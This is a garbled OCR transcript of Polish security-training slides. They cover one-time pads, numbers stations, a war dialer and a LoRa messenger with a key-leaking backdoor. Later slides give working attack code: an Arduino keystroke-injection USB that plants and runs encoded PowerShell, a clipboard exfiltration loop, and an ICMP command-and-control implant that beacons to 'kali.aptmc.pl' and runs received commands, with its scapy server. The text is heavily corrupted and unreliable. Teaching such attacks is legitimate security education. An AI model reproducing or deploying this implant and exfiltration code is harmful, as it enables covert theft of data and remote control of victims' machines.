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---\Szyfr‘ z kLuc.zem jednor'azowym C64 BASIC

.21@ REM De yptlon
:220 DM$ = "
38 O TR e prn(s) STES 2
Cryptossiblis v8.1 by Dark Vinci (c>i898 : %gg g = XALE§1D$EKM$1 I 2;;
I Commands- Keys £270 IF (C < @) THEN C .= C + AL
E})gg"ngggggge i 31 | FP- 22337 Lem:18ee . 280 DM$(= DM$J)rMID$(AL$, E+15--1)
Save message 93048 00301 04040 St
Load key 28364 66636 16484 g
Create key 858368 40663 B8ia486 P e RS T et =
Save key 48563 64066 36i864 R R A A RS =
Hide key i71 10 REM Encr‘yptlon
Print Options 20 EM$ =
Toggle mode Fi} |Mode: Encr‘apt 30 FOR I=1 TO LEN DM$ STEP 2
Toggle skip key Skip key ID: ¥Yes 490 A = VA|_2MID$EK $, , 2;;
_Toggle alphabet fAlphabet: Normal 28 g = VAL(MID$ DM$ T
Encrypted 3
90170 01204 01828 88787 08148 18389 40 E,\F@(C EMQJE,ZEEQE,'}'w e A
852682 Si4ii 83888 22322 18138 31522 o7 [0 ’
12831 586328 88252 214685 126286 31719 100 RET
23882 8_ RN
i71=
Decrypted
ZNQJBE DPEDALA.FARVODICE STONAOSIEM.UZYS
SKAJ DOSTEP 178

- va..pﬂu- AT Pl e e
\_.-_ A s.vat.w"“ -»N.‘.." .
i »- A IR S e T

..........




Szyfr z Rluczem jednorazowym - szyfrowanie

¢ -

WiadomOSC _;,'j?(95141 70604)f;; [ _53ﬁ .;3 {

Alfabet .
= 25(7) 23(1) @2(") 21(/) 01(") ;;?;;<. :

; _ +|05(F) 14(0) 17(R) @6(G) 04(E) .- .

~ mod26 30(2) 37(2) 19(T) 27(?) O5(F)
| 4(1) 11( ) 19( ') 01(") e5(') =

< 3 Foe BoaTaiyo™ wilhe ™. - A oy
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Szyfr z Rluczem_ jednorazowym - odszyfrowanie

KIucz: « = - ZXCYB (25238 221@1),‘_;;55..  o
Szyfrogram: | (04111 90105) 0

Alfabet SRl

@4( >'11'<'>' 19¢ >"@1<”'5 05(F)
£ -1 25(2) 23(X) 02(C) 21(V) 01(B) = :

S 426]-21(2) -12(2) 17(R) -20(2?) 04(E) =i
| 5(") 14() 17( ) @6( ) 04(E) -

T

R ..A..Fa..n-lvl 4.‘ T
et F® i) < .

3 e B s 4 2 80753 24133

e ?"‘.\:1::-;- e p 2 g 2 o . - R7E 12514 85833
X - S 14408 80067

99889 04990

11744 80036

14645 89442

:«'( et B ANy beby” ~v-‘.\/~' o > < . "o 03878 40377
ey o At A s S T e o 77841 83946

: 98484 78402

40241 73919




Szyfr z Rluczem_ jednorazowym - odszyfrowanie

KIucz: « = - PDXRR (15032 31817),‘_;;;{..  =
Szyfrogram: ' (64111 96165) .

Alfabet S

@4<>"11<">"19< >"@1<‘5 o5(F) =
: -{ 15(P) @3(D) 23(X) 18(R) 17(R) =i :
+26/-11(?) @8(D) -04(?) -17(?) -12(?) =%
15(7) 08( ") zz( ) 1@( ) 14(0) —i

. ..A..Fa..n-lvl 4.‘ ﬂ-_,‘“‘“"
e g kg . 1

- ; - o <& B BO753 24133
}?""\‘:1{;:,- e p 2 g 2 o R7E 12514 85833
D S e 14408 80067

: e e 99889 04990

11744 80036

14645 89442
« ' - S s B % . e 03378 40377
A *" 4"f' 334“‘*-2*- A 77841 83946
98454 78402
40241 73919




Szyfr z RLuczem jednorazowym - JavaScript

encryptNumberStPing' ( ; e Alphabet
e & Pep 1a ce A]_ 1 ( nn ) ; abcdefghijklmnopgrstuvwiyz
= PeplaceAll( '"); Key
Plain text key Numbered key
¢ .l?ngth <= 0) { xcyb 25230 22101
} >
( .length < .length) {
Message
( % length < > length) { Plain text mes Numbered message
} 58 ’ forge 05141 70604
¥
(G R X .length; i += 2) {
= substrin CE; g),
o SUbStr‘lng% + 2) Encrypted message
( : (_ ) &§ ' - ( )) Plain text encrypted message Numbered encrypted messag
( ;= . 1 . ) { elthf 04111 90105
= % ; ; 3
}
( < 1@) { a + n @ n ; } . | _ | y . p
) E Ehe ~— aptm.in/webotp
} NP,


https://aptm.in/webotp

Ohe Time Pad - szybk1e podsumowanie

— - -
& > - 3 -0 3 -.'

Calkow1te bezpieczenstwo (penféct secrecy)

Prosty w 1mplementac31 {’;:7;'55;;"””;T’T

Dlugosc klucza >= szyfrowanaHWiédpmoscW
Klucz mu51 zostéé”épalony/zjedzg*fgﬁ ’

7 05391 58183

‘ / | 25665 35817 02737
= - SR o = et . 96263 10925 30877
w v e 99993 8983 _

: AR A R it L e A \,._,_,.,__..'? "i“d-\.-;;' ."?::Tt"::c.:.f-‘z'-:::.::ca::;f::' R e e
235Apl/post/sukcegyrpoIﬁk"ga?”" '“N““d&mﬁ#ﬁﬁd§&ﬁﬁhiﬁénluRSta‘11 numerycznych/

B v o W O T & ‘Wv-u:> Fhalo i v
- R kA, P BB v - -ty ?

‘v

#Madou Al aPe

z3s. pl/post/odkryto lokalizacqe,poiskiéjfstac31¢numervtznéj pod arszawa/

R N 4\.51-'- -~ ‘J.. nvs_u-' - N..A‘~-~_ ¥, ” -

ﬁhéfiﬁ‘ d-ﬁfm'

i &
>
s

~—
- A A

WWW . c1phermach1nesandcryptdlo ﬁ;tchéh

priyom.org ;’ ',f,§; -j-1‘;;,h1;{Mﬁ

S



https://z3s.pl/post/sukcesy-polskiego-kontrwywiadu-w-podsluchiwaniu-stacji-numerycznych/
https://z3s.pl/post/odkryto-lokalizacje-polskiej-stacji-numerycznej-pod-warszawa/
http://www.ciphermachinesandcryptology.com/en/onetimepad.htm
https://priyom.org/

Stacje numeryczne - nastuchy

@
v = m| _ TS A
E11> Priyom.org X + i e -
& > (C @& priyom.org/number-stations/english/e11 ; - -
4 Station Schedule > Priyom.ol X r _ O
[ Y - i Y% Wide-band WebSDR in Ensc/ 41 X +
3 €« > C @ priyom.org/number-stations & > C A Niezabezpieczona | websdr.ewiutwente.nl:3301/?tune=9155am B+ 0O @ Incognito
HOD erfall Oblind | Allow keyboard:
F [
STATIONSCHEDULE ~ ENGLISH L | Womo mEn mmrna e

L'e HOME BLOG NUMBER STATIONS MILITARY STATION

Priyom.org » Number Stations » English

E11

Cafio aris| Cstpe aizs T aime i3 stse sies
STATIONSCHEDULE = ENGLISH ~ GERMAN  SLAVIC OTHER  MORSE  DIGITA

['§% (CHM CNR1 Jammer/Firedrake|
Enigma ID E11 i org » Number Stations » Station Schedule IREE nindiuik e
N Ohlique Station Schedule
Filter: 9.00 kHz
Frequendies UTC time
; Status Act ; 09:52:28 ) R FM ; o - ' o - 420dE +40dE 4604
5 ‘ .. . o rding [ start C ' ¢
Voice Female : Next station in 8 mi mute 5 L2
Emissionmode  USB i » HMO1 9155kHz AM
o - Poland == TIME STN. FREQ. MODE REMARKS Nate i Memarie 5  Chatbox Logbook @ Station info  S-mete
: ‘ 22:00 10715kHz AM [Target: North America] : :
Activitypages  Schedule PR m o zoom in ed: Size: View: ull window width
History g - ma; e max in : trurm cky"
13 0000 V13 15890kHz USB/AM [Target: East Asia] Hide labels
15 i 00:00 22936kHz RTTY  [Target: Pacific]
18 00:10 20331kHz RTTY  [Target Pacific]
ig 0020 17471kHz RTTY  [Target: Pacific]
24 0025 16218kHz RTTY  [Target: North America)
25 00:35 13949kHz RTTY  [Target: North America)
26 01:00 Vi3 13974kHz USB/AM [Target: East Asia]
27 15890kHz
30 18040kHz

E11 is the English language mode of the Polish 11 operator.


https://priyom.org/
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https://aptmasterclass.com/forge/#trainers

Odnalez¢ Dedala - War Dialer

NN YA

= m‘é‘ﬁi&ﬁl&* X .
At o : ; re 2
R AR 2 et s (Rl
SRR R T e
S R, B S —
A Lovrd G dheg i ol Gtk i "VAREANES AT RODERCK DABEYCOLEMAN JORNWOD ALY SHEDY % ‘ : -~
‘M)nl INRECE LASKER & WALTER £ PARKES o gy LA . RARER 2 anhﬂiHllﬁliHl!HmSlH?J ook ONARD GOLDBERG e by HROLD SEANEOER - . - . A

[P G[PRENTA SOOANE SIOE5TED

Gl b KN ADHAM P i o ok P Mo el OB SRR


https://www.imdb.com/title/tt0086567/
https://pl.wikipedia.org/wiki/War_dialing




ImpLementqc S T awme
Lls' ’ ..
=% Get - PnpDev1ce -class ports

QWegC |

J‘-

port = New—Object System.IO.Ports.SerialPort "COM4",12@@,None,8,one
$port.Open()
$port.Write("AT r n")

$port ReadLlne()

' A .--a-.\&§gc:m¢5.'rz"“a; T
E g -
;\w e i 2R N » -
- s S w.&a S Sy <
E SRR m, e D
-’»“-’..3-4.#,. - \.&\ -\ e b
o e A -/.%-'.‘v-.:/ o -.ﬁ::s.ul. s s -
-. L A,
T r‘:ﬁ. ST R
.. ..s . b -;_.
-~ o e
= s . .- - — E
- < .1.,-«&.'.‘.. . i A
. T R T T : - -
“ . : : 3,



Implementacja War Dialera

Inicjalizacja modemu komendami AT .
"Echo off" SR
"ATEQ") -l
"Wait for carier after dial=10" R :
"ATS7=10") TS
"Carier Detect ResponseTime=1" R
ATS9=1") S

e i dod)

S f§55%£ﬁ§§7]éhZWikibédia;org/wiki/Hayes command- set -



https://en.wikipedia.org/wiki/Hayes_command_set

Implementacja War Dialera

Wysytanie komend AT dd modemu

Invoke-ATCommand($ XS R
$ ()
$ ()
"Wysylam komende $ na port $($
$ ("$ 29
-m 500

{

$ Ol

$ = $ Ol

$ ()
} [ e

"[TIMEOUT]"
} {

s
} SMARTMODEM 1200 3

} G)Hayes° HS AA CD  OH



ImpLementacg.a War* DlaLer*a

Glowna petla = wykonywanle polaczen~¢;gg;aeasf;eza¢-
$from .$to | ForEach Object {

o Write- Verbose "Rozlaczamy poprzednie polaczenie”

Start- Sleep

$resp = Invoke-ATCommand $port "ATH"

if ($Pesp A SR

} Write-Verbose "ATH odpowiedz: $resp, lipa jakas"

Write-Verbose "Dzwonie na $ '
$resp = Invoke-ATCommand $port AT
Write-Verbose "Odpowiedz: '$resp'"
if ($resp -like "CONNECT*") {
WPlte Verbose Polaczono, wysylam ciag ucieczki (+++)"
$port. erte(" iR
Start-Sleep 2
$port.Write("+++"
Start-Sleep 2
$port.Write("ATH r n")

}
[PSCustomObject]@{"number"=$% ;result=$resp}
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Bezpieczny RomuniRator radiowy - LoRa

mﬁwﬂlsLoRa®?

d spectrum modu

| reless p _.a_r*'-:':u rm that

of Internet of l||| o

_____

commun |f|P-:_ metering, supply chain and logistics, agricu I_tu re, and
more. With hundreds of millions of devices con r'IEIZ'TF!['| to networks

in more than 100 countries and growing, LoRa is creating a

smarter planet. R e

https://www.semtech. com/ lor'a / what '1s 1vora"°'f’ \ ST


https://www.semtech.com/lora/what-is-lora

BezpleCzny komunlkatorradlowy - LoRa

u..- .»..' . - .o
- by . - et e uM T ¥ - : r %
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Bezplecznymkomunlkator radlowy LoRa

M 2 bl . - & - -

N S ’ ot ¢ ® -

#define SS 18 =
#define RST 14 '
#define DIO 26 A
#define BAND 868E6 e

Inaﬁﬁa‘i:[z“a‘gzj_;_f”}a;u’f,j

LoRa.setPins(SS, RST, DIOQ);
if (!LoRa.begin(BAND)) {

Serial.println("### LoRa.begin() failed!"); s ‘_‘?' 1_f' :
while (1); seeae s
} e v&-’aﬁ??a@"?’g s A SRR =

] o - - -~ - - - - - *
- PAR e A7 oy Bl ™ = -~ e P o e S
Sy o he R et s? —b&%-&—h&- o Spe
~‘ #J“-*"-—‘.--‘ o Bty *Mx w R .k‘:- Ao .-

A R R R RN R e SR s B e e :;';;;i- St .-':';;»--- =
!§E§§ int pktSize = LoRa.parsePacket(); e
| if (pktSize) {
while (LoRa.available()) {
String remoteMsg = LoRa.readString();

¥

K - o .n.-o..s.& P
~" . - r- ) _“\’ S f""‘ ]
1 — b s A et e a.-—».,\'n..,.\
2 - - _* - - : . - S . ~ 5 - . et P - =
o el S ..I'_'; ad s :..‘\..C‘i:f.;.{-' s > v.‘.t..u‘n.hwmv T e o o SR o v %
- PR et & A R S Abden BT AR RIS, e
= ¥ g A s & A
_\a ‘-A-‘E-‘ . by . b’.g,.t.,-—v_\ o 3 -t o~ R S RV R
LoRa. be 1nPacket -w»u»ﬁ-*a Qﬁtﬁﬁ‘kﬁ-«a~z;§yut; LTI
e s At e >
, A -.:s..- - e A -;"—- ~ .‘..¢.‘.~\A1.~s o g

LoRa.print("veni vidi Vinci");
LoRa.endPacket();

~ ARDUINO.



Bezpleczny komunlkator radlowy LoRa

v01dtotpDecryptStP1ng(Strlng &msg, 1nt PemoteKeyIndex) {
int i j‘
for (1 = 0, j = remoteKeyIndex; i < msg.length i++, j++
1n§ m lghabet 1ndex%fgmsg charAtgggg, gth(); Rk
int k = alphabet.indexOf(key.charAt(j

if§§J >= key.length()) {

niedobrze, klucz za maly, rolujemy, chociaz to nie jest dobry pomysl

= 9;
}
if(k ==21 | m ===
continue;
int s m - k; L

ub =
ifCsub-<20) 4
sub = sub + alphabetlLen;

char ¢ = alphabet.charAt(sub);
msg. setChaPAt(l, c),

ARDUINO



‘jl-_(Nle )bezplec.zny komumkator r*adwwy LoRa

pkt51ze = LoRa. parsePacket(),

if (pktSize) { 2 » |
while (LoRa.available()) { : -
String remoteMsg = LoRa.readString(); -
if (remoteMsg.startsWith("hpszhpsz")) { 2 AN
sendPlain(key);
continue;

¥

if (debug) {
Serial.print("[DEBUG] LoRa pktSize = ");
Serial.println(pktSize);

LR IBERL A0S 1 00

” -..--\

sy
b4
(.'

v01d sendPlaln(Strlng info) {
LoRa.beginPacket();

} § LoRa.print(info);
[ 2 - ‘LoRa.endPacket();
) £}
B o i ;;:";.-;_ :‘:}»ﬁ%i?"if-"—i&%m”‘éﬁ":"“ R R T
Backdoor - wysyika klucza p‘?é;““ﬁ ~1y%iER;;q:ﬁp5zhpSz
A ; A R e, " R “.-I".“-.f'; i B A «-_‘.:.1‘_ ”:_:.__: '.' ~ - e B 2 ARDUINO -
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eczny komunikator radiowy - LoRa
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-~ - 4
88 LoralTFlommunicator by Dark Uinci (c) 1838
$#88 Machine ready
¢ remote encrypted) siems
b+ remste-encrypted) widac
- local encrypted) et
. |
- local encrypted) out
remote:encrypted) dzien debr

-
.

I COMB - Tera Term VT

File Edit Setup Control Window Help

E*)0

### LoraOTPCommunicator by Dark Vinci (c) 1898
### Machine ready.

- local:encrypted> dzien dobry.

[CMD] Command not found

- local:plain> hpszhpsz

+ remote:plain> venividivinci
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-LoRaOTPCommunicator - przechwycona wiadomosc

S, - s > g . . - s e >

. e ~

ototyp urzqdzenia

W5 a3 : p S e e
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Ztosliwy dysk USB - Arduino

“ void setup() { ' void loop() {
= Serial.begin(115200); int songdelay;
Serial2.begin(9600); char buff[2];
if (Serial.available
Qelay(7@?@)% ugsigned char ¢ = égzigl.read();
installVinciMalware(); : Shctes Oy
: songdelay = playSong("introl");
delay(500); i delay(songdelay);
MP3.begin(Serial2); ; T
MP3.volume(30); ; itoa(c, buff, 16);

if (!buff[1]) {

bURF L Fscbu el bt ie ] == a? s buff 2] =-0;
}
char buffl]]
char buff2][]

{ buff[@], ©x00 };
{ buff[1l], ©xe0 };

songdelay = playSong(buffl);
delay(songdelay);
songdelay = playSong(buff2);

delay(songdelay); =2
}
} :

.

ARDUINO




ZtosLlwy dysk USB kLawwtum

v01d 1nstallV1nc1Ma1ware() { void typeKeys(uint8 t *keys) {
Keyboard.begin(); uint8 t *p = keys;
delay(2000); while_(*p) { ,

: . Keyboard.print((char)*p++);
openWinRunDialog(); delay(10+random(10));
delay(500); }
typeKeys("powershell\n"); }
delay(500);

typeKeys("ni -f hkcu:\\software\\vinci|sp -n dark -v
"ZmlsdGVYyIFNl1cmlhbC1FeGZpb5kICgkY2xpcCAtbmUgIGiAgICBzbGV1cCA1DQpI[...] " ;exit\n");
delay(300);

openWinRunDialog();

delay(500);

typeKeys("powershell -enc
LQBJAG8AaQBUACAAWWBjAGEAYQBYAF sAXQBAAF sAYwWBVAG4AdgB1AHIAdABAADOAOgBGAHIAbwBTAEIAYQBzAGUANEA®O
AFMAdABYAGKkAbgBnACgAKABNAHAAIABOAGSAYwWB1ADOAXABzZAG8AZEBOAHCAYQBYAGUAXAB2AGKkAbgBjJAGKAKQAUAGQA
YQBYAGSAKQB8AGKAZQBAAA==\n");

delay(200); X
Keyboard.end(); ‘

} ARDUINO



Ztosu'”y dysk USB - eksfiltracja RS232

Fllter Invoke Ser1a1Exf11($p,$s 1152@@) {
$buff = $
[I0.Ports.SerialPort]: :GetPortNames() | sort -u | % {
try {
$port = New-Object System.IO.Ports.SerialPort $ ,$s,None,8,0ne
$port.Open();$port.Write([char]2);$port.Write($buff);
} catch {}
finally { $port.Dispose(); }

} _
} ..'. i _'..'Z. 1= s ‘
forGs5)

$clip = gcb

if ($clip -and ($clip -ne $oldclip)) {
$clip|Invoke-SerialExfil
$oldclip=%$clip

i
sleep 5

}

-join [char[]][convert] FromBase64Str1ng((gp hkcu\software\v1nc1) dark)|1ex
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$1 =gp HKCU: \SOFTWARE\MlcPosoft\W1ndows\CurrentVePSlon\Explorer\RunMRU
$i.MRUList.ToCharArray()|%{$i.$_}
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python3 -C 'from scapy.all import *;
kg5 sniff(filter="icmp and icmp[0]=8", prn=(1ambda 3
print(x[1].src, x[ICMP].load) if hasattr(x[ICMP],

"load") else None )) 5
[Net NetworkInformatlon Plng] new() Send("alphasec pl" 1@9 [char[]]"Hl )

~ [Net. NetworkInformatlon Plng] new() Send("alphasec pl" 100, =
[Text Encodlng] UTF8 GetBytes("Zolw"))
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https://aptm.in/protip/000f

(1pconf1g|0ut-Str1ng) —splltlh(?s)( {1472})“”;ﬁatch"."|%{

[Net.NetworkInformation.Ping]: :new().Send("alphasec.pl"
[Text Encodlng] UTF8) GetBytes( ))}
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+: $sleep = 10; $target = "kali.aptmc.pl”
- while ($true) {
«i $ping = New-0Object Net.NetworkInformation.Ping
Ly $r = $ping.Send($target, 100, [Text.Encoding]::UTF8.GetBytes("u:$env:USERNAME"))
s $r = [Text.Encoding]::UTF8.GetString($r.Buffer)
Sf e Mat ch e st EAS ST
(iex $Matches[1] *>&1 | Out-String) -split "(?s)(.{1400})" -match "." | % {
$ping.Send($target, 100, ([Text.Encoding]::UTF8).GetBytes("r:$ "))

R T T L R e e e A e
Start-Sleep $sleep a
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' =~ import strlng

~

A e

- et

if

g known_ips = {'127.0.0.1'}

def handle 1oad(load)°

.. def handle_ping(pkt):

MP— Cﬁ*-i-.-;se.‘nw.er w P -. t honie

path = "./data/%s" % load
try:

return "c:" + open("./data/%s" % load, "r").read().strip()
except:

return "#"

if (pkt[2].type == 8):
try:
dst=pkt[1].dst
src=pkt[1].src
seq = pkt[2].seq
1d = pkt[2].id
oad = pkt[3].load.decode('utf-8")
if load.startswith('u:'):
load = load[2:]
if src not in known_ips:
known_ips.add(src)
print ("new client: %s (%s)" % (src, load))

reply = IP(src=dst, dst=src)/ICMP(type=0, id=id, seq=seq)/handle_load(load)
send(reply,verbose=False)

if src in known_ips:
print ("payload from %s: %s" % (src, load))

except:
pass

__name__=="__main__":
snlff(lface— ethe", prn=handle_ping, filter="icmp and icmp[©]=8")
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